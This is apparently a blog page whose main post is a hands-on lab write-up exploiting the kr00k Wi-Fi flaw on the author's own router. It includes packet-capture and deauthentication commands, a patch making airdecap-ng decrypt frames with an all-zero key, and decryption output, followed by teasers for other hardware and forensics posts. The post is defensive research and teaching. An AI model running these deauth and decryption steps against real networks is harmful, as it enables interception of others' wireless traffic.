Playing with kr00k

Categories Hardware

In February 2020 ESET released a new vulnerability (CVE-2019-15126) called kr00k. It was a real vulnerability, because it had a name and a logo. ESET didn’t only hype the vulnerability but also provided a whitepaper with some more information.

After the release of the kr00k vulnerability I expected to see exploit scripts surface pretty quickly. However this did not seem to be the case. Therefor I decided to dive into the vulnerability myself to see how you could practically exploit this. This post describes the setup and tools I used, and provides packet capture (pcap) files so anyone can try out the vulnerability themselves. This post will exploit the kr00k vulnerability on a vulnerable router, and not on a vulnerable client device.

Any information in this post can be used as long as credit is given.


I used the following setup to test the kr00k vulnerability:

Test router

As the router for this test I used a very old Linksys WRT54G router with the (outdated) Tomato firmware (v1.28) on it. This router contains a Broadcom BCM4712 chip, this chip is the CPU but also has the WiFi capabilities included. The WiFi part is identified as the Broadcom BCM4320 by Tomato (as seen in dmesg).

The router is configured with the following settings:

  • WPA2 Personal TKIP/AES
  • Networkname: kr00ktestnw
  • WPA2 Password: kr00ktestpass
  • Mac: 00:12:17:BC:B4:8A

Victim VM

  • Windows 7 VM
  • 1 USB wifi card (Noname, Ralink RT5370 chipset)
  • Mac address: 00:0F:00:54:3B:D6

Attacker VM

  • Kali VM
  • 2 USB WiFi cards:
    • Fake Alpha card, Ralink RT2770
    • “High power” card, Ralink RT2870/RT3070

Webserver VM

  • Kali VM (any OS will do)
  • Connected to the router via one of the LAN ports

Capturing kr00k data

The kr00k vulnerability happens at the moment the WiFi connection gets disconnected while packets are still being send. To be able to capture data which contains packets vulnerable to the kr00k vulnerability we use the following tools and settings.

First we need to put the WiFi device, which we want to use to capture data, in monitoring mode on the Attacker VM. We will place the device in monitoring mode fixed on the channel our WiFi network uses (channel 6).
To do so we use the following airmon-ng command:

airmon-ng start wlan1 6

We can now start capturing WiFi packets from the air. We will use the airodump-ng tool to capture the packets. The airodump-ng command to capture the data we want:

 airodump-ng -c 6 --essid kr00ktestnw -w airodump_kr00k1 wlan0mon

This command includes the following options:

  • -c 6 = Sniffing on channel 6
  • –essid kr00ktestnw = The SSID of our test network
  • -w airodump_kr00k1 = Write to this output file ( airodump_kr00k1.cap )
  • wlan0mon = Our WiFi device in monitoring mode

Since we are capturing the data we can now connect the Victim VM to the WiFi network. After doing so airodump-ng will prompt it captured the WPA handshake. If this does not happen then airodump-ng probably was unable to capture all the packets of the handshake. It then helps to disconnect and reconnect again untill airodump-ng is able to capture the handshake.

Since we want to capture data we we need to generate some data from the router to the client. To do this we connect a linux VM to one of the LAN ports of the router, on which we run the following command:

perl -e 'while (1) { print "kr00ktest" };'| nc -nvlp 80

This command will send out the easily recognizable text “kr00ktest” in a loop to anything connecting on port 80. This will result in a flood of data so we will fill up the buffer in the router, which seems to be needed for the kr00k attack to work. We could of course also set up a HTTP server and serve a large file, but this is a quick and dirty solution which fits our needs.

During initial tests I did not receive any “kr00k packets”, probably because I did not send enough data over the network, therefor I started using this flood approach.

To start the data stream we will connect with a webbrowser to the port (in this case on IP from the Victim VM by browsing to Note: This will probably lock up your browser which you connect to the port since you are sending a lot of data which the browser needs to parse.

Since we are now generating a steady stream of traffic we can now disconnect the client to trigger the kr00k vulnerability. We will forcefully disconnect the client by sending a deauthentication command with aireplay-ng. To do so we use the following command:

aireplay-ng --deauth 1 -a 00:12:17:BC:B4:8A -e kr00ktestnw -c 00:0F:00:54:3B:D6 wlan1mon

This command contains the following options:

–deauth 1 = Send the deauthentication command, do this once
-a 00:12:17:BC:B4:8A = The mac address of our accesspoint
-e kr00ktestnw = The SSID of our testnetwork
-c 00:0F:00:54:3B:D6 = The mac address of the client
wlan1mon = The WiFi device to use for this

After the deauthentication the client will disconnect and then reconnect to the router. When this happened we can stop our packet capture and analyse the data to see if the kr00k vulnerability was triggered.

The packet capture containing the data sniffed in this example can be downloaded here:

Note: This is not the raw capture from airodump-ng, but I used Wireshark to remove all the data not belonging to the router and our Victim VM. This does not change anything to the data we need, it just removes the unneeded noise from the file.

Analysing the captured data

To check the WPA data the capture file contains we use the airdecap-ng tool. This tool shows is the amount of WPA data packets the capture contains:

# airdecap-ng airodump_kr00k1.pcap 
Total number of stations seen           10
Total number of packets read           399
Total number of WEP data packets         0
Total number of WPA data packets       210
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         0
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         0

airdecap-ng is able to identify 210 WPA data packets in this capture. Since we know the password for the WiFi network we can try to decrypt these packets with the following command:

# airdecap-ng airodump_kr00k1.pcap -e kr00ktestnw -p kr00ktestpass
Total number of stations seen           10
Total number of packets read           399
Total number of WEP data packets         0
Total number of WPA data packets       210
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets       160
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets         3

airdecap-ng is able to decrypt 160 WPA packets, however, it shows that there are 3 “bad CCMP (WPA) packets”. These 3 packets are our kr00k packets.

To decrypt these packets I did not want to write a whole new tool, so I opted for a quick and dirty option and decided to alter the airdecap-ng tool. The airdecap-ng tool already can parse .pcap packet captures, process WPA packets and decrypt them, so it would be a fairly easy fix to also let it decrypt kr00k packets.

Adjusting airdecap-ng

The airdecap-ng tool is part of the aircrack-ng suite, for which the source-code can be found on:

The source-code for the airdecap-ng tool can be found on:

In the source code we can find these specific lines with regards to the decryption of the encrypted WPA packets:

if (decrypt_tkip(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)

The decrypt_tkip and decrypt_ccmp functions can be found in the crypto.h file:

int decrypt_tkip( unsigned char *h80211, int caplen, unsigned char TK1[16] );
int decrypt_ccmp( unsigned char *h80211, int caplen, unsigned char TK1[16] );

The kr00k vulnerability is the result of the Broadcom chip overwriting the Temporal Key (TK) with zeros. Looking at the source code of airdecap-ng we can see that this TK is set by st_cur->ptk + 32. This value is then passed to the decrypt function in crypto.h, which loads it in TK1[16].

We can adjust the airdecap-ng code in such a way that it will use a TK of only zeros. That way we can decrypt the “kr00k packets”.

To adjust the airdecap-ng code we install all the tools needed (as stated in the install info):

apt-get install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils

Then we clone the git of the source code:

git clone

And run the autogen script:


We can now alter the source-code locally by editing the file src/airdecap-ng/airdecap-ng.c. In this file we will replace the TK as being set by airdecap-ng ( st_cur->ptk + 32 ) by a fixed value containing only zeros.

Since our packets are decrypted in “decrypt_ccmp” function we only change this function. We also need to remove the check for a valid PTK, else we still need to provide the correct WPA password.

Diff of the changes we made:

# diff src/airdecap-ng/ src/airdecap-ng/airdecap-ng.c
< 				if (!st_cur->valid_ptk) continue;
> 				//if (!st_cur->valid_ptk) continue;
< 					if (decrypt_ccmp(h80211, pkh.caplen, st_cur->ptk + 32) == 0)
> 				        // Changes for kr00k vulnerability
> 					unsigned char kr00k[] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
> 					if (decrypt_ccmp(h80211, pkh.caplen, kr00k) == 0) 

After we make these changes we will compile the source code by running make:

# make -s
Making all in manpages
Making all in scripts

We now have a airdecap-ng version which will decrypt kr00k packets. However, because of our quick and dirty change it can now _only_ decrypt kr00k packets and no longer decrypt valid WPA packets.

When we use our modified airdecap-ng version against the captured packets we see the following output:

# ./airdecap-ng airodump_kr00k1.pcap -e kr00ktestnw -p anypasswilldo
(... some errors because of our dirty "fixes")
Total number of stations seen           10
Total number of packets read           399
Total number of WEP data packets         0
Total number of WPA data packets       210
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         3
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets       181

We now decrypted those 3 packets which airdecap-ng previously could not decrypt. These 3 packets were indeed kr00k packets. The decrypted packets can be found in the following packet capture file:

We can open this packet capture file (airodump_kr00k1-dec.pcap) with wireshark and see the decrypted contents:

In the screenshot we can see our test string “kr00ktest” repeating, which shows us that decryption was indeed successful.

Update 1, 05-03-2020: After the release of this post my brother Bas decided to create a less quick and dirty patch for airdecap-ng. This patch can be downloaded here: airdecap-kr00k.patch

To apply the patch against the airdecap-ng.c source code you can use the patch command:

# patch airdecap-ng.c airdecap-kr00k.patch
patching file airdecap-ng.c
Hunk #3 succeeded at 253 with fuzz 1.

After applying the patch (and compiling everything with ‘make’) a new option ” -K ” is added to airdecap-ng. You can now use this option to decrypt kr00k packets with the following command:

# ./airdecap-ng airodump_kr00k1.pcap -K
Total number of stations seen           10
Total number of packets read           399
Total number of WEP data packets         0
Total number of WPA data packets       210
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets         3
Number of bad TKIP (WPA) packets         0
Number of bad CCMP (WPA) packets       207

So, yeah, kr00k is real and not that hard to exploit when a vulnerable router is involved. However, the amount of data that you can steal this way is limited since it is only a couple of packets per disconnect.

Motorola Droid 4 – Broken screen and data recovery

Categories Forensics, Hardware

At the beginning of this year my Motorola Droid 4 phone started dying on me. I looked for help on the XDA Developers Forum where I kept track of the different steps I took. For archiving reasons I created this write up to have a single page containing all information that I found on the issue. Sadly enough I was not able to repair the phone, however I was able to recover my data by rooting the device. The original XDA Forum thread can be found here:

Continue reading “Motorola Droid 4 – Broken screen and data recovery”

Forensic hardware – Don’t just blindly trust it

Categories Forensics, Hardware, Mods

I recently found two pictures which I took in the last 2 years, of the Logicube Forensic Dossier misbehaving. I decided to write this very short article to show these pictures. Since this seems to be a 6th(!) generation forensic solution I would not expect this behavior. The Logicube hardware is widely accepted as ‘forensically sound’, there seems to be some sort of blind trust in forensic hardware by forensic experts, while everything else is always disputed at great length.

Continue reading “Forensic hardware – Don’t just blindly trust it”

Convert cheap 433Mhz sensors to KaKu/CoCo with an Arduino convertor

Categories Code, Hardware, Mods

In the past 1,5 year I have been playing a bit with Home Automation (or Domotics / Domotica) systems. I initially bought the HomeWizard, but was pretty disappointed in it. When the HomeWizard domotica system was introduced I expected a lot of it, sadly enough it has not been as great as I hoped and I am currently moving over to another system.  One of the things that annoyed me of the HomeWizard is the inability to add other sensors to the setup which were not part of the supported hardware (which is pretty limited). I moved to the HomeWizard from a different (alarm) system which contained a lot of 433Mhz sensors which I could not hook up to the HomeWizard. Because I did not want to throw all these sensors away I built a middle-ware system with an Arduino and some code which can convert the non-supported codes in to HomeWizard supported codes (KaKu / CoCo style codes). The middle-ware receives a code and then translates that to a code which can be understood by the HomeWizard. Initially designed for usage with HomeWizard this same approach also worked with HomeSeer, Domotiga and Domoticz, which all did not support my sensors directly (most of them because of the usage of the RFXCOM).

Continue reading “Convert cheap 433Mhz sensors to KaKu/CoCo with an Arduino convertor”

Recovering data from Garmin Edge 500 GPS

Categories Forensics, Hardware

A friend of me asked me if I wanted to take a look at his Garmin Edge 500 GPS bike computer, since it was missing some of his tracks. After opening the flash drive of the device in FTK Imager I noticed that the Activities directory did not contain any of the track data (.fit files) for 2014. Since I could not find the data on the device as lost or deleted items or something I decided to try some file carving. The first thing I did was creating an image of the full flash drive (which also included the currently present .fit files) with FTK Imager, the resulting image (uncompressed) was just 56MB big. There does not seem to be a lot of storage in the unit.

To be able to carve you need to know some specific information from the file type the device uses, such as the header, footer and filesize. If you are lucky this information is present in the config file of the carving tool you use (Scalpel in this case), however .fit files are not in that config file.

Continue reading “Recovering data from Garmin Edge 500 GPS”

Crypto hardware Plug-over attack

Categories Hardware, Mods

This article describes a vulnerability I found over two years ago in certain external USB and eSATA data carriers (hard drives, USB sticks) which use cryptography to help protect the data they carry. This vulnerability has been found during the evaluation of multiple data carriers of different manufacturers and it seems to be quite common. Since this vulnerability doesn’t seem device specific this paper has been written to be able to spread some knowledge and to warn the general public about it. All the manufacturers of the devices I tested which were vulnerable to this attack have been notified long ago. The vulnerability described in this paper has been named the ‘plug-over attack’.

Continue reading “Crypto hardware Plug-over attack”

Repair a broken HP LaserJet printer by baking it

Categories Hardware, Mods

After my HP printer died just after his warranty period I searched for a solution what to do to revive it. When reported to HP they wanted to charge €350 to repair the printer, which is around the same amount a new printer would cost, besides that I had to ship to whole bulky printer to them. When searching the internet for an alternative you will find a lot of people with the same problem using this printer series but not a lot of clear solutions.

This write-up will describe a way to repair the HP LaserJet M1522 series printer. While this idea is not new I wanted to create an easy to follow overview to repair this printer instead of a “just bake the formatter board”. I hope this write-up will be handy for some of the people out there with the same problem. While this write-up is focusing on the HP LaserJet M1522 MFP printer I would expect the same approach to work on other faulty hardware.

Continue reading “Repair a broken HP LaserJet printer by baking it”

Hiding your data in plain sight – USB hardware hiding

Categories Hardware, Mods

—> The PDF version of this article can be found here.

This article will describe the possibility of hiding data in any kind of USB hardware. Even though USB data carriers come in various sizes and forms, which already sometimes makes them hard to recognize, this approach could even make it worse. Any USB device could be a data carrier and thus from a forensics point of view, any USB device should be taken into account when investigating a computer. Or, for example, from a company protection point of view, any USB device could be used to transport data out of the company.

The reason for writing this article is that the approach described in it has already been developed by me around 2007, while I was still working for the company Fox-IT. I presented part of this paper during a presentation I gave on the ENFSC 2007 congress, but since then I never made the full research completely public. I recently decided to redo my research and to work the idea out further. Since the information in this article is still current, I decided to spread the knowledge on it by publishing this article.

Continue reading “Hiding your data in plain sight – USB hardware hiding”

iPod dock adapter for the Motorola Droid/Milestone

Categories Hardware, Mods

—> The PDF version of this article can be found here.

Motorola Milestone iPod dock adapterManufacturers of electronic devices don’t seem to be able to get a global standard on docking connectors, resulting in that you usually end up buying a new dock for every electronic device you acquire. In the past I bought multiple iPod docks (also see my other article about bypassing the Apple video out protection on older docks here), but I own more devices than just the ones from Apple. My current mobile phone is a Motorola Milestone (or Droid if you are from the US), which of course does not fit on an iPod dock. Not willing to buy new docks I decided to build an adapter to enable me to use my iPod docks with my mobile phone. This article will describe step-by-step how I have built this dock adapter.

Because I am from Europe (the Netherlands to be precise) my Motorola device is named a Milestone, but the whole article of course is just as applicable to the Motorola Droid. For the ease of use I will just refer to the ‘Motorola Milestone’ in this article from now on.

Since all the information in this document is gathered from the internet or analyzed by myself it could be that there are some errors in this document, I am sorry if that is the case. Any opinion expressed in this document is solely my own.

Continue reading “iPod dock adapter for the Motorola Droid/Milestone”

Bypassing Apple’s Video Out protection for less than $5

Categories Hardware, Mods

Modding an unlicensed iPod dock to get Video Out from an iPod Classic

—> The PDF version of this article can be found here.
iPod authentication chip small

Since Apple released the iPod Classic and the iPhone, they have included a new protection mechanism to protect their hardware from being used with certain iPod docks. The protection only lets the devices work to the full extent when using Apple approved / licensed / certified hardware.

Whatever the reason has been for this lockout of older hardware, in the end it means that any dock out there that doesn’t contain the special authentication can not be used with the new iPods/iPhones.

This document describes how to bypass this protection for the iPod Classic, with spending less than $5. It contains detailed instructions to do this mod yourself, the instructions show how to do this mod on the Altec Lansing inMotion iMV712 ‘Digital mini-theater speakers for iPod’, but the same approach should apply to any other dock out there. This mod works for the iPod classic, but might also work for the iPhone with a little adjustment.

Continue reading “Bypassing Apple’s Video Out protection for less than $5”